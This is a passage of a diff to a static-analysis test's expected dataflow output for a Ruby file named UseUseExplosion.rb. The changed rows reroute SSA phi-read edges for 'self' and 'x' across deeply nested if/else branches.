UseUseExplosion.rb:20:2543:20:2543 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2550:20:2560 | else ... | UseUseExplosion.rb:20:1501:20:2564 | if ... | -| UseUseExplosion.rb:20:2555:20:2560 | [post] self | UseUseExplosion.rb:20:2550:20:2560 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2555:20:2560 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2555:20:2560 | call to use | UseUseExplosion.rb:20:2550:20:2560 | else ... | -| UseUseExplosion.rb:20:2555:20:2560 | self | UseUseExplosion.rb:20:2550:20:2560 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2559:20:2559 | x | UseUseExplosion.rb:20:2550:20:2560 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2566:20:2576 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1480:20:2580 | SSA phi read(self) | -| UseUseExplosion.rb:20:2566:20:2576 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1480:20:2580 | SSA phi read(x) | +| UseUseExplosion.rb:20:2555:20:2560 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2559:20:2559 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2566:20:2576 | else ... | UseUseExplosion.rb:20:1480:20:2580 | if ... | -| UseUseExplosion.rb:20:2571:20:2576 | [post] self | UseUseExplosion.rb:20:2566:20:2576 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2571:20:2576 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2571:20:2576 | call to use | UseUseExplosion.rb:20:2566:20:2576 | else ... | -| UseUseExplosion.rb:20:2571:20:2576 | self | UseUseExplosion.rb:20:2566:20:2576 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2575:20:2575 | x | UseUseExplosion.rb:20:2566:20:2576 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2582:20:2592 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1459:20:2596 | SSA phi read(self) | -| UseUseExplosion.rb:20:2582:20:2592 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1459:20:2596 | SSA phi read(x) | +| UseUseExplosion.rb:20:2571:20:2576 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2575:20:2575 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2582:20:2592 | else ... | UseUseExplosion.rb:20:1459:20:2596 | if ... | -| UseUseExplosion.rb:20:2587:20:2592 | [post] self | UseUseExplosion.rb:20:2582:20:2592 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2587:20:2592 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2587:20:2592 | call to use | UseUseExplosion.rb:20:2582:20:2592 | else ... | -| UseUseExplosion.rb:20:2587:20:2592 | self | UseUseExplosion.rb:20:2582:20:2592 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2591:20:2591 | x | UseUseExplosion.rb:20:2582:20:2592 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2598:20:2608 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1438:20:2612 | SSA phi read(self) | -| UseUseExplosion.rb:20:2598:20:2608 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1438:20:2612 | SSA phi read(x) | +| UseUseExplosion.rb:20:2587:20:2592 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2591:20:2591 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2598:20:2608 | else ... | UseUseExplosion.rb:20:1438:20:2612 | if ... | -| UseUseExplosion.rb:20:2603:20:2608 | [post] self | UseUseExplosion.rb:20:2598:20:2608 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2603:20:2608 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2603:20:2608 | call to use | UseUseExplosion.rb:20:2598:20:2608 | else ... | -| UseUseExplosion.rb:20:2603:20:2608 | self | UseUseExplosion.rb:20:2598:20:2608 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2607:20:2607 | x | UseUseExplosion.rb:20:2598:20:2608 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2614:20:2624 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1417:20:2628 | SSA phi read(self) | -| UseUseExplosion.rb:20:2614:20:2624 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1417:20:2628 | SSA phi read(x) | +| UseUseExplosion.rb:20:2603:20:2608 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2607:20:2607 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2614:20:2624 | else ... | UseUseExplosion.rb:20:1417:20:2628 | if ... | -| UseUseExplosion.rb:20:2619:20:2624 | [post] self | UseUseExplosion.rb:20:2614:20:2624 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2619:20:2624 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2619:20:2624 | call to use | UseUseExplosion.rb:20:2614:20:2624 | else ... | -| UseUseExplosion.rb:20:2619:20:2624 | self | UseUseExplosion.rb:20:2614:20:2624 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2623:20:2623 | x | UseUseExplosion.rb:20:2614:20:2624 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2630:20:2640 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1396:20:2644 | SSA phi read(self) | -| UseUseExplosion.rb:20:2630:20:2640 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1396:20:2644 | SSA phi read(x) | +| UseUseExplosion.rb:20:2619:20:2624 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2623:20:2623 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2630:20:2640 | else ... | UseUseExplosion.rb:20:1396:20:2644 | if ... | -| UseUseExplosion.rb:20:2635:20:2640 | [post] self | UseUseExplosion.rb:20:2630:20:2640 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2635:20:2640 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2635:20:2640 | call to use | UseUseExplosion.rb:20:2630:20:2640 | else ... | -| UseUseExplosion.rb:20:2635:20:2640 | self | UseUseExplosion.rb:20:2630:20:2640 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2639:20:2639 | x | UseUseExplosion.rb:20:2630:20:2640 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2646:20:2656 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1375:20:2660 | SSA phi read(self) | -| UseUseExplosion.rb:20:2646:20:2656 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1375:20:2660 | SSA phi read(x) | +| UseUseExplosion.rb:20:2635:20:2640 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2639:20:2639 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2646:20:2656 | else ... | UseUseExplosion.rb:20:1375:20:2660 | if ... | -| UseUseExplosion.rb:20:2651:20:2656 | [post] self | UseUseExplosion.rb:20:2646:20:2656 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2651:20:2656 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2651:20:2656 | call to use | UseUseExplosion.rb:20:2646:20:2656 | else ... | -| UseUseExplosion.rb:20:2651:20:2656 | self | UseUseExplosion.rb:20:2646:20:2656 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2655:20:2655 | x | UseUseExplosion.rb:20:2646:20:2656 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2662:20:2672 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1354:20:2676 | SSA phi read(self) | -| UseUseExplosion.rb:20:2662:20:2672 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1354:20:2676 | SSA phi read(x) | +| UseUseExplosion.rb:20:2651:20:2656 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2655:20:2655 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2662:20:2672 | else ... | UseUseExplosion.rb:20:1354:20:2676 | if ... | -| UseUseExplosion.rb:20:2667:20:2672 | [post] self | UseUseExplosion.rb:20:2662:20:2672 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2667:20:2672 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2667:20:2672 | call to use | UseUseExplosion.rb:20:2662:20:2672 | else ... | -| UseUseExplosion.rb:20:2667:20:2672 | self | UseUseExplosion.rb:20:2662:20:2672 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2671:20:2671 | x | UseUseExplosion.rb:20:2662:20:2672 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2678:20:2688 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1333:20:2692 | SSA phi read(self) | -| UseUseExplosion.rb:20:2678:20:2688 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1333:20:2692 | SSA phi read(x) | +| UseUseExplosion.rb:20:2667:20:2672 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2671:20:2671 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2678:20:2688 | else ... | UseUseExplosion.rb:20:1333:20:2692 | if ... | -| UseUseExplosion.rb:20:2683:20:2688 | [post] self | UseUseExplosion.rb:20:2678:20:2688 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2683:20:2688 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2683:20:2688 | call to use | UseUseExplosion.rb:20:2678:20:2688 | else ... | -| UseUseExplosion.rb:20:2683:20:2688 | self | UseUseExplosion.rb:20:2678:20:2688 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2687:20:2687 | x | UseUseExplosion.rb:20:2678:20:2688 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2694:20:2704 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1312:20:2708 | SSA phi read(self) | -| UseUseExplosion.rb:20:2694:20:2704 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1312:20:2708 | SSA phi read(x) | +| UseUseExplosion.rb:20:2683:20:2688 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2687:20:2687 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2694:20:2704 | else ... | UseUseExplosion.rb:20:1312:20:2708 | if ... | -| UseUseExplosion.rb:20:2699:20:2704 | [post] self | UseUseExplosion.rb:20:2694:20:2704 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2699:20:2704 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2699:20:2704 | call to use | UseUseExplosion.rb:20:2694:20:2704 | else ... | -| UseUseExplosion.rb:20:2699:20:2704 | self | UseUseExplosion.rb:20:2694:20:2704 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2703:20:2703 | x | UseUseExplosion.rb:20:2694:20:2704 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2710:20:2720 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1291:20:2724 | SSA phi read(self) | -| UseUseExplosion.rb:20:2710:20:2720 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1291:20:2724 | SSA phi read(x) | +| UseUseExplosion.rb:20:2699:20:2704 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2703:20:2703 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2710:20:2720 | else ... | UseUseExplosion.rb:20:1291:20:2724 | if ... | -| UseUseExplosion.rb:20:2715:20:2720 | [post] self | UseUseExplosion.rb:20:2710:20:2720 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2715:20:2720 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2715:20:2720 | call to use | UseUseExplosion.rb:20:2710:20:2720 | else ... | -| UseUseExplosion.rb:20:2715:20:2720 | self | UseUseExplosion.rb:20:2710:20:2720 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2719:20:2719 | x | UseUseExplosion.rb:20:2710:20:2720 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2726:20:2736 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1270:20:2740 | SSA phi read(self) | -| UseUseExplosion.rb:20:2726:20:2736 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1270:20:2740 | SSA phi read(x) | +| UseUseExplosion.rb:20:2715:20:2720 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2719:20:2719 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2726:20:2736 | else ... | UseUseExplosion.rb:20:1270:20:2740 | if ... | -| UseUseExplosion.rb:20:2731:20:2736 | [post] self | UseUseExplosion.rb:20:2726:20:2736 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2731:20:2736 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2731:20:2736 | call to use | UseUseExplosion.rb:20:2726:20:2736 | else ... | -| UseUseExplosion.rb:20:2731:20:2736 | self | UseUseExplosion.rb:20:2726:20:2736 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2735:20:2735 | x | UseUseExplosion.rb:20:2726:20:2736 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2742:20:2752 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1249:20:2756 | SSA phi read(self) | -| UseUseExplosion.rb:20:2742:20:2752 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1249:20:2756 | SSA phi read(x) | +| UseUseExplosion.rb:20:2731:20:2736 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2735:20:2735 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2742:20:2752 | else ... | UseUseExplosion.rb:20:1249:20:2756 | if ... | -| UseUseExplosion.rb:20:2747:20:2752 | [post] self | UseUseExplosion.rb:20:2742:20:2752 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2747:20:2752 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2747:20:2752 | call to use | UseUseExplosion.rb:20:2742:20:2752 | else ... | -| UseUseExplosion.rb:20:2747:20:2752 | self | UseUseExplosion.rb:20:2742:20:2752 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2751:20:2751 | x | UseUseExplosion.rb:20:2742:20:2752 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2758:20:2768 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1228:20:2772 | SSA phi read(self) | -| UseUseExplosion.rb:20:2758:20:2768 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1228:20:2772 | SSA phi read(x) | +| UseUseExplosion.rb:20:2747:20:2752 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2751:20:2751 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2758:20:2768 | else ... | UseUseExplosion.rb:20:1228:20:2772 | if ... | -| UseUseExplosion.rb:20:2763:20:2768 | [post] self | UseUseExplosion.rb:20:2758:20:2768 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2763:20:2768 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2763:20:2768 | call to use | UseUseExplosion.rb:20:2758:20:2768 | else ... | -| UseUseExplosion.rb:20:2763:20:2768 | self | UseUseExplosion.rb:20:2758:20:2768 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2767:20:2767 | x | UseUseExplosion.rb:20:2758:20:2768 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2774:20:2784 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1207:20:2788 | SSA phi read(self) | -| UseUseExplosion.rb:20:2774:20:2784 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1207:20:2788 | SSA phi read(x) | +| UseUseExplosion.rb:20:2763:20:2768 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2767:20:2767 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2774:20:2784 | else ... | UseUseExplosion.rb:20:1207:20:2788 | if ... | -| UseUseExplosion.rb:20:2779:20:2784 | [post] self | UseUseExplosion.rb:20:2774:20:2784 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2779:20:2784 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2779:20:2784 | call to use | UseUseExplosion.rb:20:2774:20:2784 | else ... | -| UseUseExplosion.rb:20:2779:20:2784 | self | UseUseExplosion.rb:20:2774:20:2784 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2783:20:2783 | x | UseUseExplosion.rb:20:2774:20:2784 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2790:20:2800 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1186:20:2804 | SSA phi read(self) | -| UseUseExplosion.rb:20:2790:20:2800 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1186:20:2804 | SSA phi read(x) | +| UseUseExplosion.rb:20:2779:20:2784 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2783:20:2783 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2790:20:2800 | else ... | UseUseExplosion.rb:20:1186:20:2804 | if ... | -| UseUseExplosion.rb:20:2795:20:2800 | [post] self | UseUseExplosion.rb:20:2790:20:2800 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2795:20:2800 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2795:20:2800 | call to use | UseUseExplosion.rb:20:2790:20:2800 | else ... | -| UseUseExplosion.rb:20:2795:20:2800 | self | UseUseExplosion.rb:20:2790:20:2800 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2799:20:2799 | x | UseUseExplosion.rb:20:2790:20:2800 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2806:20:2816 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1165:20:2820 | SSA phi read(self) | -| UseUseExplosion.rb:20:2806:20:2816 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1165:20:2820 | SSA phi read(x) | +| UseUseExplosion.rb:20:2795:20:2800 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2799:20:2799 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2806:20:2816 | else ... | UseUseExplosion.rb:20:1165:20:2820 | if ... | -| UseUseExplosion.rb:20:2811:20:2816 | [post] self | UseUseExplosion.rb:20:2806:20:2816 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2811:20:2816 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2811:20:2816 | call to use | UseUseExplosion.rb:20:2806:20:2816 | else ... | -| UseUseExplosion.rb:20:2811:20:2816 | self | UseUseExplosion.rb:20:2806:20:2816 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2815:20:2815 | x | UseUseExplosion.rb:20:2806:20:2816 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2822:20:2832 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1144:20:2836 | SSA phi read(self) | -| UseUseExplosion.rb:20:2822:20:2832 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1144:20:2836 | SSA phi read(x) | +| UseUseExplosion.rb:20:2811:20:2816 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2815:20:2815 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2822:20:2832 | else ... | UseUseExplosion.rb:20:1144:20:2836 | if ... | -| UseUseExplosion.rb:20:2827:20:2832 | [post] self | UseUseExplosion.rb:20:2822:20:2832 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2827:20:2832 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2827:20:2832 | call to use | UseUseExplosion.rb:20:2822:20:2832 | else ... | -| UseUseExplosion.rb:20:2827:20:2832 | self | UseUseExplosion.rb:20:2822:20:2832 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2831:20:2831 | x | UseUseExplosion.rb:20:2822:20:2832 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2838:20:2848 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1123:20:2852 | SSA phi read(self) | -| UseUseExplosion.rb:20:2838:20:2848 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1123:20:2852 | SSA phi read(x) | +| UseUseExplosion.rb:20:2827:20:2832 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2831:20:2831 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2838:20:2848 | else ... | UseUseExplosion.rb:20:1123:20:2852 | if ... | -| UseUseExplosion.rb:20:2843:20:2848 | [post] self | UseUseExplosion.rb:20:2838:20:2848 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2843:20:2848 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2843:20:2848 | call to use | UseUseExplosion.rb:20:2838:20:2848 | else ... | -| UseUseExplosion.rb:20:2843:20:2848 | self | UseUseExplosion.rb:20:2838:20:2848 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2847:20:2847 | x | UseUseExplosion.rb:20:2838:20:2848 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2854:20:2864 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1102:20:2868 | SSA phi read(self) | -| UseUseExplosion.rb:20:2854:20:2864 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1102:20:2868 | SSA phi read(x) | +| UseUseExplosion.rb:20:2843:20:2848 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2847:20:2847 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2854:20:2864 | else ... | UseUseExplosion.rb:20:1102:20:2868 | if ... | -| UseUseExplosion.rb:20:2859:20:2864 | [post] self | UseUseExplosion.rb:20:2854:20:2864 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2859:20:2864 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2859:20:2864 | call to use | UseUseExplosion.rb:20:2854:20:2864 | else ... | -| UseUseExplosion.rb:20:2859:20:2864 | self | UseUseExplosion.rb:20:2854:20:2864 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2863:20:2863 | x | UseUseExplosion.rb:20:2854:20:2864 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2870:20:2880 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1081:20:2884 | SSA phi read(self) | -| UseUseExplosion.rb:20:2870:20:2880 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1081:20:2884 | SSA phi read(x) | +| UseUseExplosion.rb:20:2859:20:2864 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2863:20:2863 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2870:20:2880 | else ... | UseUseExplosion.rb:20:1081:20:2884 | if ... | -| UseUseExplosion.rb:20:2875:20:2880 | [post] self | UseUseExplosion.rb:20:2870:20:2880 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2875:20:2880 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2875:20:2880 | call to use | UseUseExplosion.rb:20:2870:20:2880 | else ... | -| UseUseExplosion.rb:20:2875:20:2880 | self | UseUseExplosion.rb:20:2870:20:2880 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2879:20:2879 | x | UseUseExplosion.rb:20:2870:20:2880 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2886:20:2896 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1060:20:2900 | SSA phi read(self) | -| UseUseExplosion.rb:20:2886:20:2896 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1060:20:2900 | SSA phi read(x) | +| UseUseExplosion.rb:20:2875:20:2880 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2879:20:2879 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2886:20:2896 | else ... | UseUseExplosion.rb:20:1060:20:2900 | if ... | -| UseUseExplosion.rb:20:2891:20:2896 | [post] self | UseUseExplosion.rb:20:2886:20:2896 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2891:20:2896 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2891:20:2896 | call to use | UseUseExplosion.rb:20:2886:20:2896 | else ... | -| UseUseExplosion.rb:20:2891:20:2896 | self | UseUseExplosion.rb:20:2886:20:2896 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2895:20:2895 | x | UseUseExplosion.rb:20:2886:20:2896 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2902:20:2912 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1039:20:2916 | SSA phi read(self) | -| UseUseExplosion.rb:20:2902:20:2912 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1039:20:2916 | SSA phi read(x) | +| UseUseExplosion.rb:20:2891:20:2896 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2895:20:2895 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2902:20:2912 | else ... | UseUseExplosion.rb:20:1039:20:2916 | if ... | -| UseUseExplosion.rb:20:2907:20:2912 | [post] self | UseUseExplosion.rb:20:2902:20:2912 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2907:20:2912 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2907:20:2912 | call to use | UseUseExplosion.rb:20:2902:20:2912 | else ... | -| UseUseExplosion.rb:20:2907:20:2912 | self | UseUseExplosion.rb:20:2902:20:2912 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2911:20:2911 | x | UseUseExplosion.rb:20:2902:20:2912 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2918:20:2928 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1018:20:2932 | SSA phi read(self) | -| UseUseExplosion.rb:20:2918:20:2928 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1018:20:2932 | SSA phi read(x) | +| UseUseExplosion.rb:20:2907:20:2912 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2911:20:2911 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2918:20:2928 | else ... | UseUseExplosion.rb:20:1018:20:2932 | if ... | -| UseUseExplosion.rb:20:2923:20:2928 | [post] self | UseUseExplosion.rb:20:2918:20:2928 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2923:20:2928 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2923:20:2928 | call to use | UseUseExplosion.rb:20:2918:20:2928 | else ... | -| UseUseExplosion.rb:20:2923:20:2928 | self | UseUseExplosion.rb:20:2918:20:2928 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2927:20:2927 | x | UseUseExplosion.rb:20:2918:20:2928 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2934:20:2944 | [input] SSA phi read(self) | UseUseExplosion.rb:20:997:20:2948 | SSA phi read(self) | -| UseUseExplosion.rb:20:2934:20:2944 | [input] SSA phi read(x) | UseUseExplosion.rb:20:997:20:2948 | SSA phi read(x) | +| UseUseExplosion.rb:20:2923:20:2928 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2927:20:2927 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2934:20:2944 | else ... | UseUseExplosion.rb:20:997:20:2948 | if ... | -| UseUseExplosion.rb:20:2939:20:2944 | [post] self | UseUseExplosion.rb:20:2934:20:2944 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2939:20:2944 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2939:20:2944 | call to use | UseUseExplosion.rb:20:2934:20:2944 | else ... | -| UseUseExplosion.rb:20:2939:20:2944 | self | UseUseExplosion.rb:20:2934:20:2944 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2943:20:2943 | x | UseUseExplosion.rb:20:2934:20:2944 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2950:20:2960 | [input] SSA phi read(self) | 